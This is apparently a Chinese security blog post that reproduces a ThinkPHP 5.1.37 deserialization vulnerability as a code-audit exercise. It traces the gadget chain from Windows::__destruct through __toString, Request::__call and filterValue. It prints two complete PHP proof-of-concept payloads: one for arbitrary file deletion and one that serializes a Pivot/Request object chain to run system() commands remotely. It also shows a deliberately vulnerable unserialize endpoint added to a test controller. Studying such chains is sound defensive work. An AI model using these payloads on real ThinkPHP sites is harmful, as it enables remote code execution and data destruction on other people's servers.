序列化是一种用来处理对象流的机制,在各种语言中都会涉及到序列化和反序列化。
thinkphp作为一个php框架,广泛应用于各种开发,但其安全性也受到挑战,近来比赛也出现了tp反序列化,为了增强自身代码审计能力,也为了学习反序列化而复现了tp的反序列化。
本文采用的是tp5.1.37版本,其他版本大同小异。
使用composer安装:
composer create-project topthink/think tp5137 5.1.* --prefer-dist
要安装指定版本则修改目录下,composer.json内的"topthink/framework": "5.1.*"
为所需版本,然后在composer下:
composer update
修改首页地址为:xxx/tp5137/public后访问127.0.0.1即可。
修改application/index/controller,添加一个可控的反序列化点,以方便后续测试:
class Index
{
public function index()
{
$test = $_GET['cmd'];
echo $test;
unserialize(base64_decode($test));
return 'xx';
}
public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}
访问主页测试有回显即可开始后续,至于为什么要base64_decode,是因为序列化中会带有一些0x00截断,会影响测试,如下:
所以为方便统一加上base64编码。
根据在phpthink中全局搜索__destruct()
关键字,找到漏洞的起点:
跟进removeFiles:
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
发现使用this关键字,而该removeFiles函数的功能是删除文件,也就是说只要存在有可控的反序列化点,就可以实现任意文件删除。
poc之文件删除,如下:
<?php
namespace think\process\pipes;
abstract class Pipes
{
}
class Windows extends Pipes
{
private $files = ["1.txt"];
}
echo base64_encode(serialize(new Windows()));
可以在public下新建一个1.txt进行测试,可以发现构造成功,文件被成功删除。
removeFiles方法中还有一个file_exists方法,追踪它发现它会把filename当成字符串处理,而谈到字符串就不可避免的谈到__toString
,该魔术方法会当一个对象被当成字符串输出时调用,所以我们在把一个对象作为filename传入时即可触发toString方法。
于是全局搜索toString,发现Conversion类中如下:
public function __toString()
{
return $this->toJson();
}
跟踪toJson():
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
toArray():
public function toArray()
{
//省略部分代码
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible([$attr]);
}
$item[$key] = $relation->append([$attr])->toArray();
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}
现在来了解一下__call
这个魔术方法:
为了避免当调用的方法不存在时产生错误,可以使用 __call() 方法来避免。该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去。
基于此,我们需要在Conversion这个类中的toArray中找到一个$可控变量->任意方法(可控参数)
,后面调用不存在的方法时即可触发__call
,所以就锁定了:
$relation->visible($name);
,这里的$name
可以由foreach循环中的$this->append
控制,而接下来就是$relation
如何控制的问题了,所以我们先追踪getRelation方法:
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
发现可以直接return,所以我们可以直接追踪下面的if语句内的getAttr方法:
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name); //追踪此处getData
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
//省略代码
return $value;
}
发现其返回值$value
由getData方法赋值,所以继续追踪getData:
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
发现其值可以由$this->data[$name]
决定,至于为什么不是$this->relation[$name]
,是因为追踪relation发现其在另一个类RelationShip
中。
所以整理一下目前的链路:
1.全局搜索__destruct,发现Windows类:
__destruct()-->removeFiles()-->file_exists($filename)
//利用$filename触发__toString
2.全局搜索__toString,发现Conversion类:
__toString()-->toJson()-->toArray()-->$relation->visible($name)
//在一个不存在visible方法的类中调用visible方法,借此利用__call()魔术方法的特性
3.可控$name,Conversion类中
foreach ($this->append as $key => $name)
//修改类属性append即可控制变量$name
4.可控$relation,由Conversion追踪到Attribute类中
getAttr($key)-->getData($name)-->$data[$name]
//$data为Attribute类的属性,属于可控变量
但会发现Conversion
和Attribute
为trait类:
通过在类中使用use 关键字,声明要组合的Trait名称,具体的Trait的声明使用Trait关键词,Trait不能实例化
因为Trait不能实例化,所以接下来需要找一个同时继承了Conversion
和Attribute
类的子类,通过全局搜索Attribute
类发现如下:
该Model类继承了以上谈到的两个类,也即我们直接利用它即可,大致如下:
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["hhhm"=>[]];
$this->data = ["hhhm"=>new xxx()];
}
}
接下来我们需要挖掘new xxx()
中的xxx类,该类需要没有visible
方法且存在__call
或者存在visible
且可以让我们利用。
全局搜索visible
并没有发现有什么可以利用的,于是转为寻找具备__call
且不存在visible
的类。
先是全局搜索__call
,寻找可利用点,因为框架中为了动态调用,都会进行链式调用,所以一般call中会有:
__call_user_func($method, $args)
__call_user_func_array([$obj,$method], $args)
在Request.php中找到一个call:
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
这里的call_user_func_array看起来可控,因为$this->hook[$method]
我们可控,而$args
则在前面一条利用链中可控,然而array_unshift
这个函数在我们的args中插入了this,并且插入位置在头部,此时无法利用,因此需要找到另一个函数去被call_user_func_array
调用,然后该函数内还有回调函数且其参数可控供我们利用,在thinkphp中有多个远程代码执行洞都有一个filter覆盖,我们可以利用此处来执行代码。
找到filterValue:
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
//略过部分代码
return $value;
}
但此处的value不可控,但可以往上找到调用这个方法的其他方法,找到input:
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
//省略
$data = $this->getData($data, $name);
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
//省略
return $data;
}
但name在这里依旧不可控,再往上找到调用input的方法,为param:
public function param($name = '', $default = null, $filter = '')
{
//略
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
这里的name依旧不可控,再往上找调用param的,isAjax:
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
很显然,这里的$this->param($this->config['var_ajax'])
就是我们要找的,它给param的第一个参数name赋值,而这里的值是我们可控的,追溯回去也就是我们的input的name可控,input中的name可控,再回头看看input的几行关键代码:
$data = $this->getData($data, $name);
$filter = $this->getFilter($filter, $default);
$this->filterValue($data, $name, $filter);
先是getData:
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
可以找到data的取值即为$data=$data[$name]
,而name来自上面的ajax的config['var_ajax']
。
getFilter:
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
filter值来自于$this->filter,也就是我们可控的变量了。
已知data可控,filter可控,把data和filter作为参数传入,然后就会触发filterValue里面的call_user_func($filter, $value)
,如:
filter:system,value:"ls",即可rce。
再看回param的值在thinkphp中是怎么获取的,我们不需要利用反序列化去指定,还是在控制器初始的index中添加代码进行测试:
<?php
namespace app\index\controller;
use think\Request;//新增
class Index
{
public function index(Request $request)
{
var_dump($request->param());//新增
//$test = $_GET['cmd'];
//echo $test;
//unserialize(base64_decode($test));
return 'xxx';
}
public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}
访问页面传参如下:
?cmd=1&ab=system
可以看到传回了一个数组,也就是说不需要在序列化中特地指定该值。
对应到这里:
$this->input($this->param, $name, $default, $filter);
意味着input中的参数除了default之外全部可控,而default对我们来说没什么用,可以忽略。
现在来整理一下执行链:
//$this->hook = ["visible"=>[$this,"isAjax"]];
//hook数组中的$this为调用类中方法必须的
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
//array_unshift会在数组$args第一位插入$this
//但isAjax无需参数,也就无影响了
}
}
这里就调用了isAjax函数,看一下调用过程:
public function isAjax($ajax = false)
{
$result = $this->param($this->config['var_ajax']) ? true : $result;
//$this->config['var_ajax']可控
//设置为$this->config['var_ajax']='hhhm'
}
param:
public function param($name = '', $default = null, $filter = '')
{
return $this->input($this->param, $name, $default, $filter);
//$this->param为我们外部传入的参数数组
//$name=$this->config['var_ajax']='hhhm'
//filter暂不可控
}
input和filterValue放一起将:
//$data数组为外部传入参数,如 {["hhhm"]=>"ls"}
//$name为$this->config['var_ajax']='hhhm'
//filter为$this->filter='system'
public function input($data = [], $name = '', $default = null, $filter = '')
{
$data = $this->getData($data, $name);
//$data=$data[$name]={["hhhm"]=>"ls"}[hhhm]='ls'
$filter = $this->getFilter($filter, $default);
//$filter=[0=>'system',1=>$default],getFilter内部会将其变为数组
if (is_array($data)) {//data非数组,到else
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
$this->arrayReset($data);
}
} else {
//$data='ls'
//$name='hhhm'
//$filter=[0=>'system',1=>null]
$this->filterValue($data, $name, $filter);
}
}
//$value=$data='ls'
//$key=$name='hhhm'
//$filters=$filter=[0=>'system',1=>null]
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);//弹出[1=>null],此时$filters=[0=>'system']
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
//$filter='system'
//$value='ls'
$value = call_user_func($filter, $value);
//执行system('ls');
}
}
}
但在构造poc时,还需要注意一个问题,我们的Model是抽象类,需要找一个实现了它的子类才能实例化,这里全局搜索extends Model
,可以找到Pivot类,接下来构造poc:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["hhhm"=>[]];
$this->data = ["hhhm"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => 'hhhm',
];
function __construct(){
$this->filter = "system";
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
测试页代码修改如下:
public function index()
{
$test = $_POST['cmd'];
unserialize(base64_decode($test));
return 'xxx';
}
为了不影响param的数组中我们传入命令的位置,将cmd修改为post传参,效果如下:
这里仅用window下的dir命令做简单测试。
本文原创于HhhM的博客,转载请标明出处。
_ _ _ _ ___ ___ | | | | | | | | \/ | | |_| | |__ | |__ | . . | | _ | '_ \| '_ \| |\/| | | | | | | | | | | | | | | \_| |_/_| |_|_| |_\_| |_/